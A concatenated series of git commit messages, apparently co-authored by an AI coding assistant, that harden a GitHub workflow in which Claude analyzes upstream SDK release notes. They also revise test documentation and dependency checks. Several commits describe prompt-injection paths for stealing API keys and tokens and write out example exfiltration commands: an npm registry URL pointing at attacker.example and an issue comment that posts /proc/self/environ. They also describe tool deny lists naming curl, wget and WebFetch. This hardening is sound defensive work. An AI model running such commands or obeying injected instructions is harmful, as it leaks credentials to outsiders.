* chore: land the #2247 round-9 review findings on v2/main
Copilot filed a ninth review round on #2247 after it had merged, so none of
it reached v2/main. All five findings are addressed here.
1. The testing -> test-servers hand-off delivered the wrong half of the
procedure. test-servers documented only the two-process manual path
(server-composable.js --config <name>.json plus a second Inspector
process), but an integration test builds the server in-process from the
@modelcontextprotocol/inspector-test-server API and owns its lifecycle.
Adds a "Two ways to use a fixture — pick the right one first" section
with the in-process recipe, the four mechanics that bite (one barrel,
start/stop in afterEach, read started.url, era is a constructor option),
and a pointer to the reference test; renames "Run one" to "Run one by
hand (two processes)" so the manual path names itself. testing now says
in the connecting bullet that an automated test does NOT spawn.
2. testing's heading asked "does the test need a real server?", which its
own hand-rolled-server exception contradicts. It now asks whether the
test uses a test-servers/ fixture.
3. "imports" was too broad a dependency test — test-server-scope.test.ts
imports the package to unit-test scope middleware as a pure function and
never starts a server. The condition is now "starts, spawns, or
configures", with that test named as the counterexample.
4. docs/skill-authoring.md attributed the 33% -> 100% rise to imperative
wording and placement independently. The #2247 edit changed both at
once, so only the combination is established; the split into two levers
is now labelled the plausible mechanism, not a measured result.
5. The CHAIN_THRESHOLD comment generalised "a well-shaped pointer clears
0.8" from one two-case run of that same multi-variable edit. It now
reads as an existence proof about the ceiling, not a property of
pointers in general.
Also records the headline lesson where it can be found again: a green
hand-off number proves skill B loaded, never that B answered the question —
in AGENTS.md's chain-case rules and in the skill-authoring checklist.
Docs, skill bodies and one comment only; no runtime code changes.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
* fix: address Copilot review round 1 on #2264
The new section claimed two shapes and there are three — the automated
stdio path was missing, and it is the repo's established pattern
(getTestMcpServerCommand() into a stdio transport, used by five web
integration files and the whole CLI suite). Telling callers an automated
test "does not spawn" told them not to use it.
- test-servers: "Two ways" -> "Three ways", with a table and a subsection
for the spawned-stdio shape — the transport owns the child (disconnect,
not stop()), no config can be selected because that entry point runs the
stdio default, and it is still the build. Names a reference test for it.
- test-servers: the build is no longer scoped to the manual path. All three
shapes resolve test-servers/build/ — two through the barrel alias, one by
running the emitted .js — so the staleness hazard is called out as
applying to every shape, and `Build first` no longer opens by claiming
the only reason is subprocess spawning.
- testing: the "does not spawn" instruction is replaced by the two
automated shapes and when to pick each. What they share, and what the
hand-off actually needed to say, is that neither picks a showcase config.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
* fix: address Copilot review round 2 on #2264
Round 1 fixed the missing stdio shape but kept the wrong axis. Cutting
the taxonomy by "automated vs by hand" excluded the config-driven smokes
— smoke-web-elicitation.mjs spawns server-composable.js --config
directly, and lib/mcp-app-flow.mjs does it for smoke:web:app,
smoke:web:tabs and pack:verify. Those are automated AND need every bit
of the config and protocol-era guidance a person at two terminals does,
so the skill was routing their authors away from it.
- test-servers: the cut is now how the SERVER IS STOOD UP, stated as
such. Third shape is "spawned composable HTTP", whose consumers are
the smokes, pack:verify, and a person by hand — the config/era
guidance belongs to the shape, whoever starts it. Table gains a
Consumers column and loses the Who column that caused this.
- test-servers: the stale "an automated test builds the server
in-process instead" line under `Run one by hand` is gone (suppressed
comment); that heading is now the same shape driven by a person.
- testing: routes by what is driving — integration/CLI test to
in-process HTTP, stdio-is-the-point to spawned stdio, and a smoke to
the composable-config path with the era guidance it actually needs.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
* fix: address Copilot review round 3 on #2264
Round 2 replaced one wrong axis with a narrower one: it routed "a smoke"
wholesale to the config-driven composable path, and smoke:cli does not
use it. smoke-cli.mjs starts an in-process createTestServerHttp for the
header round-trip (so it can read back what the CLI sent) and writes the
built stdio entry into a --catalog for the connect checks; smoke:tui uses
only the latter. Neither picks a config.
- test-servers: consumers filled in per row — in-process HTTP gains CLI
tests and smoke:cli, spawned stdio gains smoke:cli and smoke:tui, and
the composable row is narrowed to the WEB smokes. A warning states the
point directly: "a smoke" is not a shape, pick by the row.
- test-servers: the stdio shape now covers naming the built entry in a
catalog without connecting, which is what those two smokes do.
- testing: same narrowing, plus the reason spelled out so the word
"smoke" stops being a routing key.
- testing: the dependency criterion said "starts, spawns, or configures",
which excluded the build-only smoke:tui case documented directly above
it — the skill both required and rejected the hand-off for it
(suppressed comment). It now reads "starts, spawns, configures, or
hands a built entry to the subject under test".
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
---------
Signed-off-by: cliffhall <cliff@futurescale.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Two unrelated things, both touching the same security notes.
## Round 6 findings
1. The credential scan ran too late to be a backstop. The analysis was
uploaded as an artifact and only scanned in the posting job — but this
repo is public, so an artifact holding a verbatim credential is
downloadable for its whole retention window. Refusing to POST text
that has already left the job refuses nothing. The scan now gates the
WRITE, in the same step that writes `analysis.md` (not two steps: a
failure between a passing scan and a separate write would leave the
file for the upload to collect), and the upload is gated on
`hashFiles('analysis.md')`. The posting job scans again, since the
artifact is the boundary and each side should check what it handles.
2. The permissions test failed open on the input it existed to catch.
GitHub accepts the shorthand `permissions: write-all`, and
`Object.entries("write-all")` iterates the string's CHARACTERS — so
the scan for a `write` value found nothing and the test passed green
while the model held every scope. It now rejects a non-mapping
outright and asserts the exact value.
3. (Suppressed.) The security prose in AGENTS.md still described the
same-job, environment-variable handoff that two rounds had already
replaced. Rewritten around the two boundaries the write-up actually
crosses now. Worth noting the pattern rather than just the instance:
this was the third round running in which I changed the mechanism and
left the prose describing the previous one, and stale security prose
is worse than none — the next person preserves properties the code no
longer has.
## Closing #2269
Filed during round 3 to replace the long-lived ANTHROPIC_API_KEY with
workload identity federation. Closed as not planned, because the threat
model behind it does not hold.
Every round escalated on "the model reads UNTRUSTED upstream release
notes" and I accepted that framing without checking it. Both upstreams
this sweep watches — modelcontextprotocol/typescript-sdk and
modelcontextprotocol/ext-apps — are in this repository's own org, with
release notes written by the same maintainer group. That is first-party
content, and anyone able to plant an injection in it already holds
release rights here.
Federation was reachable, so this is a judgement rather than a
capitulation: issuers and rules are creatable via
`client.beta.organization.federation.*`, and for GitHub Actions the
issuer is the standard token.actions.githubusercontent.com with JWKS
discovery. But those endpoints reject plain API keys and need an
`org:admin` OAuth token, making it org-admin work on the Anthropic
organization — disproportionate against our own changelogs.
The assessment is recorded rather than deleted. AGENTS.md and the
workflow comment now state the residual channel AND what makes it
acceptable, so pointing this at an upstream outside the org, or at
third-party content, is a documented trigger to re-open the question.
Mutation-checked, each failing a different set:
permissions: write-all on analyze -> no model runs in a job that can write
upload re-gated on structured_output -> the scan-ordering test
62 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. The first ends a pattern rather than patching it again.
1. The tool grants did not enforce the boundary they claimed, for two
reasons. `--allowedTools` only PRE-APPROVES; `--tools` is what
restricts availability — a distinction this repo had already learned
and written down in `scripts/skill-eval.mjs`, and which I failed to
apply here. And a `Bash(...)` rule can match a COMPOUND command
(`gh release view … && curl …`), so the denials could be walked past.
That is the fourth grant in this review whose real surface was wider
than it looked, after `gh api`, `gh issue comment --body-file` and
`npm view --registry`. Each fix scoped the command and left something
else open, so this one removes the capability instead: THE MODEL NOW
HAS NO BASH AT ALL.
Upstream release notes are prefetched by a deterministic `run:` step
into `upstream-release-notes.md` (the 30 most recent releases via
`gh api`), and the prompt points the model at that file and tells it
to say so plainly if the range it needs is absent. Verified against
the real ext-apps releases API. The model's tools are now
`--tools "Read,Grep,Glob"` for availability, the same three in
`--allowedTools` so no headless run stalls on an unanswerable prompt,
and `--disallowedTools` naming Bash and the write/network tools as a
third layer — the same three-part shape `skill-eval.mjs` uses.
2. The security documentation asserted something false. `sweep` inherits
`issues: write` because filing issues is its purpose, so "the ONLY job
holding a token that can write" was never true. Both AGENTS.md and the
workflow comment now state the actual invariant: NO MODEL RUNS IN A
WRITE-CAPABLE JOB. Two of three jobs write; neither runs a model.
The test changed with it, and this is the substantive half: it was
asserting `analyze.permissions === {contents: read}`, which is one
job's slice and would have passed happily if someone added a model
step to `post`. It now iterates EVERY job and, for each that runs
`claude-code-action`, asserts no write scope and no posting step —
falling back to the inherited top-level permissions, so an omitted
`permissions:` block fails rather than defaulting silently.
3. (Suppressed.) The generated checklist told maintainers to edit
`package.json` unconditionally, which is wrong for the one case this
script models separately: `ext-apps` is `^1.7.4`, which already admits
a 1.8.0 target, so only the lockfile moves. `needsManifestEdit` now
selects the checklist items by asking whether each behind row's
declared range admits the target — exact pins need the edit, satisfied
ranges do not, and an unparseable declaration errs toward asking for a
look.
4. (Suppressed.) The `post` job comment carried the same false claim as
finding 2; corrected in the same change.
Mutation-checked, each failing a different set:
needsManifestEdit -> true -> its unit test + the ext-apps body test
--tools line deleted -> the tool-availability test
61 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.
1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
command PREFIX and constrains nothing after it, so
`npm view x --registry=https://attacker.example/<encoded secret>`
matched the grant. Nothing is published to the issue, so the verbatim
output scan cannot see it at all.
That is the third instance of one mistake in this review — scoping the
command and leaving the flags unbounded — after `Bash(gh api:*)` in
round 1 and `--body-file /proc/self/environ` in round 3. The grant is
removed (the prompt is handed both versions and takes release notes
from `gh release view`), `Bash(npm:*)` joins the deny list, and the
general rule is now in AGENTS.md rather than three war stories: a
prefix grant constrains the command, never its flags.
2. The model's job held `issues: write`. Permissions are scoped per JOB,
not per step, so my round-3 claim that the model only ever saw a
`contents: read` token was false while the posting step shared its
job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
model), `post` (`issues: write`, runs no model).
The hand-off is an ARTIFACT rather than a job output, because matrix
job outputs collide — every leg writes the same key — which would post
one SDK group's write-up onto the other group's issue. A failed
analysis leg uploads nothing, which is not fatal: the download is
`continue-on-error` and the post is gated on the file existing, and
the issue then lands in exactly the un-analyzed state the round-2
retry path picks up.
3. Issue markers were trusted without provenance. This repo is public, so
anyone can open an issue whose body starts with the current target's
marker — and close it — to suppress the real upgrade issue
indefinitely, or use a malformed target to throw in `semver.lt` every
run. `sweepIssues` now requires BOTH the automation author (with the
`[bot]` suffix normalized, since gh and the REST API spell it
differently) and the `chore` + `dependencies` labels an outsider
cannot set. Marker targets are validated with `semver.valid`.
4. Comment markers had the same gap, and my round-3 fix had addressed the
wrong layer: it stopped splitting comments on newlines but still
reduced each to its body, discarding the only field that makes a
marker mean anything. `issueComments` now returns `{author, isBot,
body}`, and both consumers require the automation — so a forged
analysis marker no longer suppresses the retry and a forged
supersession marker no longer suppresses the note. Being a bot is not
enough; it has to be ours.
The test fake mattered more than the assertions here: comment fixtures
were plain strings, so every one was implicitly automation-authored
and no test could have expressed a forgery at all.
Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.
Mutation-checked, each failing a different set:
isSweepAuthored -> true -> 3 tests (unit + 2 e2e)
isAutomationComment -> true -> 3 tests (unit + 2 e2e)
semver.valid filter removed -> 1 test
Bash(npm view:*) restored -> 1 test
issues: write re-added to analyze -> 1 test
58 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings, including one suppressed. Three fixed outright; the
fourth is fixed as far as this PR can reach, with the remainder tracked
in #2269 rather than papered over.
1. (Suppressed finding, and the most consequential.) The comment lookup
was `gh api --jq '.[].body'` split on newlines, which destroyed the
comment boundaries — a body is multi-line, so every LINE became its
own entry. Both consumers read a line as though it were a whole
comment and both use `startsWith`, so a maintainer quoting
`<!-- sdk-watch:analysis -->` at the start of any line would have
permanently convinced the sweep that issue was analyzed, and the retry
added in round 2 would never fire for it again. The same held for the
supersession marker.
`issueComments` now fetches `--paginate --slurp` and parses JSON,
mapping whole `body` strings. The test fake was part of the problem —
it returned newline-joined text, which made the broken parse look
correct because it could never produce a multi-line body — so it now
returns the real wire shape, an array of pages of comment objects.
Note the round-2 test written for this class checked INLINE quoting
and passed. The unit was correct; the transport feeding it was not.
2. A CLOSED matching issue was being re-queued for analysis. Two
different questions about the same match had been collapsed into one:
whether it suppresses creation (yes, whatever its state — that is why
`sweepIssues` reads `--state all`) and whether it should be
re-analyzed (only if open). A closed issue has no analysis marker
almost by definition, so it was handed to the analyze job and would
have drawn a fresh automated comment nightly, re-arguing the "not
planned" decision that `--state all` exists to respect. Gated on
`match.state === "OPEN"`, with the closed case logged rather than
passed over in silence.
3. The docs contradicted the code in three places — AGENTS.md, the
workflow header and `formatFiledOutput` all still said analysis runs
only for newly created issues. All three now describe the same rule,
including both exclusions and why they differ: an already-analyzed
issue is excluded to avoid a nightly duplicate, a closed one because
closing it was a decision.
4. The model retains a secret-exfiltration path: `claude-code-action`
copies its environment into the model's, `Read` is genuinely needed to
inspect how `core/` uses the SDK, and `analysis` is model-controlled
text this workflow publishes. Removing the write-capable `gh` tools
closed the posting channel, not the output channel.
Landed here as a BACKSTOP, and labelled as one in the workflow so it
is not read as settled: the posting step refuses any analysis
containing ANTHROPIC_API_KEY or the job's GITHUB_TOKEN verbatim,
matched with shell pattern matching so no secret reaches an argv. An
injection that encodes the value defeats it.
The real fix is workload identity federation
(`anthropic_federation_rule_id` + `id-token: write`, and no
`anthropic_api_key` at all), which needs an Anthropic-side federation
rule and org UUID that do not exist and cannot be created from a pull
request. Filed as #2269 with the exact YAML change and acceptance
criteria, boarded at Todo/Medium in v2.6.0. AGENTS.md and the workflow
both point at it rather than describing this job as secure.
Mutation-checked, each failing exactly one test:
newline splitting restored -> the multi-line-comment test
`state === "OPEN"` guard removed -> the closed-issue test
49 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real. The first is a security hole introduced by
round 1's own fix.
1. The analysis job could have published live secrets. Round 1 pinned
`Bash(gh issue comment <N>:*)` to the tracked issue and treated that
as scoping, but a `Bash(...)` grant matches a command PREFIX and says
nothing about the flags that follow — so
`gh issue comment <N> --body-file /proc/self/environ` matched it, and
this job's subprocess environment holds ANTHROPIC_API_KEY and
GITHUB_TOKEN. A prompt injection from upstream release notes could
have posted live credentials into a public issue.
The model now has no tool that can write anywhere. It returns its
write-up as `--json-schema` structured output, and a deterministic,
model-free step posts it: the body arrives through the environment
rather than the command line, so nothing in it can be read as a flag
or a path, and the issue number comes from the matrix. That step is
the only thing in the job holding a token that can write.
WebFetch is denied as well. It was not raised, but with `Read`
available an outbound fetch the model controls is the same
exfiltration channel by another route; `gh release view` already
covered the need. The remaining grant is read-only and accepts no
attacker-chosen file path.
The general rule is now in AGENTS.md rather than only this instance:
a prefix grant on any command that accepts a file path is an
arbitrary-file read with a publish attached.
2. Issue existence was standing in for analysis completion. A failed or
timed-out `analyze` job left an issue the next sweep matched, emitted
`[]` for, and reported as a green no-op — so the promised analysis was
never retried. The posting step now stamps ANALYSIS_MARKER on its
comment, and a sweep finding an existing issue without one re-queues
it. The marker is matched with `startsWith`, so a maintainer quoting
it cannot suppress the retry.
3. A failed supersession note was unrecoverable. Creation succeeding and
the note failing left a state where every retry matched the target's
own marker and skipped reconciliation entirely, so the note was never
posted. An existing issue is now ADOPTED rather than skipped: the loop
takes its number and runs the same follow-up it would for a new one.
The existing announced-marker check prevents duplication, and a
`stale.number === number` guard stops an issue superseding itself.
Findings 2 and 3 share one restructure — replacing the early `continue`
with adoption is what gives both the retry path.
ANALYSIS_MARKER is necessarily duplicated in the workflow, since the
posting step is shell. Drift would be invisible from either file alone
and would make every issue read as permanently unanalyzed, so a test
asserts the workflow contains the exact constant.
Mutation-checked, each failing a different minimal set:
if (match) continue; restored -> supersession-retry + re-queue tests
hasAnalysis -> always true -> re-queue + hasAnalysis tests
workflow marker misspelled -> the drift-guard test
47 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real, all fixed.
1. The analysis job's tool grant was too broad. `Bash(gh api:*)` against a
token holding `issues: write` would have let an injected instruction
PATCH, close or relabel any issue in the repo — and this agent reads
untrusted upstream release notes by design, so the prose constraints
in the prompt are not a control. `gh api` is gone; the two
mutating-capable commands are pinned to the matrix issue by NUMBER, so
a call against any other issue does not match the prefix and is
denied. `--disallowedTools` now names the file-writing tools and
`git`/`gh pr`/`gh issue edit`/`gh issue close` explicitly, so a later
edit that widens the whitelist cannot silently restore them. The
prompt states the exact command shape the grant permits.
2. Targeting the highest `latest` in a lockstep group was wrong in both
directions. npm publishes a release one package at a time, so a sweep
landing mid-publish would have told maintainers to move all four
packages to a version three of them do not have — and written a
marker for that version, which would then suppress the real filing
once the publication completed, so the release would never be tracked
at all. The target is now the LOWEST `latest` across the group: the
newest version the whole group has actually reached. That stays
actionable during a partial publish (on 2.0.0 it files 2.1.0 rather
than going silent), waits correctly when only the in-flight half is
ahead, and produces a different marker when the publish completes so
the real release gets its own issue. The body explains itself when a
`Latest` in the table sits above the target.
3. A failure after an irreversible issue creation lost the issue. The
sweep exited before emitting `filed`, so the issue never reached the
analysis job — and the next night's retry would match its own marker,
emit `[]`, and leave it permanently unanalyzed with nothing left to
notice. Each group is now isolated, `filed` is appended the moment an
issue exists, and the emit happens in a `finally`. The run still fails
afterwards, loudly, but never at the cost of the record. The analyze
job's gate changed to match: it consumes `filed` whenever the sweep
named something, whether or not the sweep job itself went green.
Fixing 3 exposed a second instance of the bug CI caught earlier: the
test helper passed `output: undefined` to suppress the emit, but a
destructuring default fires on `undefined`, so it selected
`process.env.GITHUB_OUTPUT` instead of overriding it. Once the emit moved
into a `finally`, the throwing cases reached it and leaked a real
`filed=[]` into the runner's job-output file. The helper now passes
`null`, which suppresses a default and is falsy. Verified by running the
suite with `GITHUB_OUTPUT` set and confirming no file is created.
Test fixtures that bumped a single package's `latest` were modeling a
partial publication without meaning to, so `groupAt`/`latestAt` now make
"completed lockstep release" and "publication in flight" separate,
named cases. 42 tests in this file, 580 across `scripts/`, green with
the runner's environment set and unset.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
CI's `build` job went red on one case, `main refuses to run without a
repository`, which passed locally. The cause is ambient environment, not
the code under test: `main`'s `repo` parameter defaults to
`process.env.GITHUB_REPOSITORY`, which is UNSET on a developer machine
and SET on every Actions runner. Passing `undefined` therefore exercised
that default, so the throw happened locally and did not on CI.
`npm run local:gate` is a strict superset of CI's STAGES but not of its
ambient environment, so nothing local could have caught this. The test
now clears the variable around the assertion and restores it, which
makes both environments test the same thing.
The same defaulting applies to `output`, whose default is
`process.env.GITHUB_OUTPUT` — a real file on a runner, the one the job's
own outputs are read from. Every throwing case now pins it to
`undefined` via a `noAmbientOutput` helper. Nothing is written today
because these cases throw before the emit, but leaving the default in
place means a future case that stops throwing would append `filed=…` to
the live job output instead of failing an assertion.
Verified both ways: the suite is green with the variables unset, and
green with GITHUB_REPOSITORY and GITHUB_OUTPUT set as a runner sets them
— 574/574 across all of `scripts/`, with no file created at the
GITHUB_OUTPUT path.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Staying abreast of SDK releases — OAuth especially — was a habit rather
than a mechanism. This adds the third of this repo's issue-filing sweeps,
after the monthly dependency refresh (#2229) and the daily Dependabot
alert sweep (#2233), following the same shape as both:
npm registry -> sweep -> issue -> Opus analysis comment -> maintainer PR
scripts/sdk-watch.mjs compares the @modelcontextprotocol/* packages
installed on v2/main against the registry and files one tracking issue
per upstream that is behind — labeled v2 + chore + dependencies, and
milestoned to the nearest dated open bucket.
Four design points, each verified against this repo first:
* Two upstreams, two issues. client/core/server/server-legacy ship
from typescript-sdk in lockstep; ext-apps ships from its own repo.
* The comparison is against the INSTALLED version, not the declared
range. ext-apps is `^1.7.4` with 1.7.5 already in the lockfile, so
comparing the declared string would file an issue for a bump
`npm install` has already taken.
* A fifth @modelcontextprotocol/* package added to the root manifest
and not added to SDK_GROUPS fails the sweep loudly, rather than
going unwatched behind a green run.
* No board write and no issue closing. No PROJECT_TOKEN exists in
this org, so the issue arrives labeled and milestoned for
/issue-triage to board — as dependency-refresh.mjs already does. A
further release files its own issue and leaves a supersession
comment on the older one; closing stays a maintainer act.
The analysis half runs Claude, not Copilot. #1063 sketched "a copilot
agent running Opus", and neither half of that is reachable from a
workflow: assigning copilot-swe-agent produces a pull request — the
artifact #2229/#2233/#2235 removed from this repo — and its model cannot
be selected programmatically, since replaceActorsForAssignable takes no
model parameter. So the analyze job uses anthropics/claude-code-action
with --model claude-opus-5, told to post one comment and denied every
file-writing tool, running on the ANTHROPIC_API_KEY org secret. It runs
only over issues the sweep just created, which holds it to one analysis
per release rather than a near-identical comment every night.
Upstream release notes are untrusted input to that job, so its system
prompt says so and its --allowedTools list is a whitelist with no Edit,
Write or git; the job's token carries contents: read only.
36 tests cover the pure halves directly and main() through an injected
spawn, with the silent-failure cases first: a registry error must not
report a clean sweep, and an already-filed target must not refile.
Closes#1063
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, all three accepted.
1. Connecting still is not the condition. A few integration tests
deliberately hand-roll a JSON-RPC server because the composable
fixture *cannot* produce what they assert on —
`inspectorClient-malformed-list.test.ts` says so in its own header:
"the SDK's own server cannot emit these shapes: they are exactly what
its types forbid". Same for `listSalvage-era.test.ts`. Real
transport, real client, zero `test-servers/` dependency.
Round 4 already stated the right condition at the top — "does this
test depend on a fixture from `test-servers/`" — and then three
downstream sites went on saying "connects". Those are now scoped to
fixture use, and the hand-rolled exception is stated where the
trigger is defined rather than left to be discovered, with both files
named. Connecting is kept as a hint, since it usually does imply a
fixture, with the instruction to check whether one can express the
case first.
2. "description-strength measurement" was the wrong surface, and this
PR is what made it wrong: a chained prompt is deliberately written so
the target's *description* cannot fire on it, so the number measures
the pointer in the first skill's body and nothing else. Left as-is it
would send the next person tuning a red hand-off at the description.
3. "an 0.8 bar" -> "a 0.8 bar".
Re-measured: 100% / 100% hand-off, 63/63 first-move at 100%, RUNS=5.
Staged by explicit path, not `git add -A` — see ec6895a5.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, accepted — and the sharpest catch of the six, because it is
the rationale contradicting the operator two paragraphs below it.
Round 1 rewrote the CHAIN_THRESHOLD comment to say a well-shaped
pointer "does clear 0.8" and cited 100%/80% as the evidence. This
threshold is compared with `>`, so 80% would FAIL an 0.8 bar; the
example refuted the sentence it was offered in support of. It was also
stale: 100%/80% was an intermediate build, and the shipped state
measures 100%/100%.
Both copies now cite 100%/100% as the clearing evidence and keep
100%/80% only as the residual-noise figure, saying explicitly that it
is not an example of clearing the bar.
While checking the claim I found the docs copy needed the same care for
a different reason: `passesThreshold` is strict for the chain and
INCLUSIVE for the first move (`rate > t` vs `rate >= t`, skill-eval.mjs
:558), and 0.8 is the constant for the inclusive one. So "0.8 is
compared strictly" is false as literally read. The docs now say a
*chain* bar of 0.8 would be the strict one, name the operator for both,
and spell out the consequence at RUNS=5 — only 5/5 passes, 4/5 does not.
No functional change; CHAIN_THRESHOLD is still 0.5, still strict.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Two factual corrections, both suppressed comments.
- `.claude/skills/local-dev/SKILL.md`: the react/react-dom exception cited
"19.2.8 today, against the root's 19.2.7" — a skew this PR removes. Dropped
the version pair; the point being made is about which install resolves the
pair, and it stands without a number that goes stale on the next bump.
- `verify-dep-lockstep.mjs`: the `devDependencies` bullet claimed all four
surfaced skews were a devDependency somewhere. `react` is a root runtime
dependency whose client copies are peer-installed, so it is three of four —
which is a better illustration of why the union spans fields as well as
installs, and the bullet now says so.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
All four suppressed comments, none with an inline thread to answer.
- `docs/quality-gate.md`: the second-tier explanation was a paragraph
*inside* the script table, which breaks the table — the `local:gate` and
`pack:verify` rows below it would have rendered as pipe-delimited text.
Folded back into the `verify:dep-lockstep` cell.
- `verify-dep-lockstep.mjs`: the module header and `declaredPackages`'
summary line both still named two fields after the implementation grew a
third. Both now name all three, and the header says which field is
excluded and points at the reason.
- `AGENTS.md`: "Nothing keeps the surviving copies aligned, and nothing
gates them" contradicted the sentence added later in the same paragraph.
Split the two claims — nothing aligns them *automatically*, and the guard
now rejects the drift; the bump is still by hand.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, both findings accepted.
1. The trigger was over-broad. "a smoke" and "everything from web
integration rightwards" routed work to `test-servers` that needs no
fixture at all: `smoke:launcher` only checks `--help`, `smoke:web`
asserts the SPA is served, `smoke:web:browser` stops at first paint,
and Storybook play functions render from fixture props. The condition
is now "does this exercise MCP behaviour over a transport?", stated
as such, with both sides named — the smokes that connect
(`smoke:cli`, `smoke:web:app`, `smoke:web:elicit`, `smoke:web:tabs`)
and `pack:verify` on one side, the boot-only ones and Storybook on
the other. Depth in the tier list is explicitly not the boundary.
2. The threshold rationale contradicted the new result. It said an 0.8
bar would mark a hand-off red "regardless of how strongly the first
skill points at the second" — which the 100% measurement refutes.
Both copies (docs and `skill-eval.mjs`) now say what 0.5 actually
buys: a floor on useful reliability for a noisier second-hop load, so
the column still separates an adequate pointer from a broken one. The
value is unchanged.
Re-measured after the narrowing, since a tighter trigger could have
weakened the pointer: 100% / 100% on the hand-off and 63/63 first-move
at 100%, full suite at RUNS=5. Recorded figure updated from the
intermediate 100% / 80%.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
- Include `optionalDependencies` in the declared tier's candidate union. A
peer range constrains the consumer's host; an optional range is a direct
declaration npm attempts to install, so omitting it left an optional-only
package free to skew unseen. `peerDependencies` stays excluded, with the
reason stated.
- Make the end-to-end fixture's client copy UNDECLARED — only the root
manifest names `solo`, while `clients/web` merely holds a top-level copy.
That is #2226's defining shape, and it is what makes the candidate set a
union across installs rather than a per-install intersection; the old
fixture would have passed a per-install implementation. Adds the mirror
case (declared only by a client, held by the root) so the union is pinned
in both directions.
- Update the two docs that still described the single-tier guard:
`.claude/skills/local-dev/SKILL.md` said "nothing gates either of those,
and `verify:dep-lockstep` is not it" and cited the live `@types/node`
drift in the present tense; `docs/quality-gate.md` described only the
program tier. Both now state what each tier covers and the two limits
that remain.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
The hand-off measured 33% / 33% at RUNS=3 (#2204's two committed chain
cases). `testing` opened with a one-sentence ⚠️ *classifying* which work
belongs to `test-servers` — a fact, which the model skims — and said it
nowhere else except a bare cross-reference in the last section.
Rewrite it as an action with a trigger ("load the `test-servers` skill
now — that is step one"), enumerate the situations that qualify, and
repeat the pointer at the two later points where the run actually
decides it is writing an integration test: the `integration` project
bullet under "Where the test file goes", and the tier list. The top of a
body is read before the model knows it needs the second skill, so a
pointer that lives only there has already been scrolled past by the time
it matters.
Measured at RUNS=5 on the full suite: the two hand-off cases go to
100% / 80% (100% / 100% on a focused `-- test-servers` run), and all
63 first-move cases stay at 100% — no displacement, as expected, since
neither description changed.
Also update the two places that recorded the old number as the standing
state: the worked example in `docs/skill-authoring.md`, and the
